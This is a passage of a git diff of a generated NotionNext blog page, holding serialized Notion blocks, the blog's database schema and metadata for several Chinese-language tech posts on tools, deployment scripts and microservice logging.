36561f113"}},"2bd9a3c8-b377-495f-a97d-1f14f07afb07":{"value":{"id":"2bd9a3c8-b377-495f-a97d-1f14f07afb07","type":"table_row","properties":{"BYf{":[["password",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章加锁"]],"`VuO":[["需要输入密码访问"]]},"format":{"copied_from_pointer":{"id":"af2f7c5d-bdf2-4073-add4-b930fec4e652","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337158,"last_edited_time":1705594337158,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"af2f7c5d-bdf2-4073-add4-b930fec4e652"}},"10ad4028-c0e3-4095-aa46-81b07349c917":{"value":{"id":"10ad4028-c0e3-4095-aa46-81b07349c917","type":"header","properties":{"title":[["二、加锁说明"]]},"format":{"copied_from_pointer":{"id":"2e8f0e15-089f-4daa-b535-9c697e4e4878","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337138,"last_edited_time":1705594337138,"parent_id":"041a3743-f888-4476-b947-fff856745c02","parent_table":"block","alive":true,"copied_from":"2e8f0e15-089f-4daa-b535-9c697e4e4878"}},"08c43877-2376-4822-87e5-a9a62b39c716":{"value":{"id":"08c43877-2376-4822-87e5-a9a62b39c716","type":"bookmark","properties":{"link":[["https://docs.tangly1024.com/zh/features/articleLock"]],"title":[["NotionNext: 基于Next.js 的Notion博客站点生成器"]]},"format":{"bookmark_icon":"https://docs.tangly1024.com/android-icon-192x192.png","bookmark_cover":"https://docs.tangly1024.com/og.png","copied_from_pointer":{"id":"3e4efc73-924d-43ba-ba9f-90c38178467b","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337138,"last_edited_time":1705594337138,"parent_id":"041a3743-f888-4476-b947-fff856745c02","parent_table":"block","alive":true,"copied_from":"3e4efc73-924d-43ba-ba9f-90c38178467b"}},"59d8f4bc-1fab-4205-aaa0-bd7aabf19e1f":{"value":{"id":"59d8f4bc-1fab-4205-aaa0-bd7aabf19e1f","type":"text","format":{"copied_from_pointer":{"id":"bccb3a75-04c9-4fa8-accb-96add746f5ef","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"041a3743-f888-4476-b947-fff856745c02","parent_table":"block","alive":true,"copied_from":"bccb3a75-04c9-4fa8-accb-96add746f5ef"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}]},"__N_SSG":true},"page":"/[prefix]/[slug]","query":{"prefix":"article","slug":"example-2"},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git a/article/example-3.html b/article/example-3.html
index a55cadd97..53a4685ca 100644
--- a/article/example-3.html
+++ b/article/example-3.html
@@ -1,4 +1,4 @@
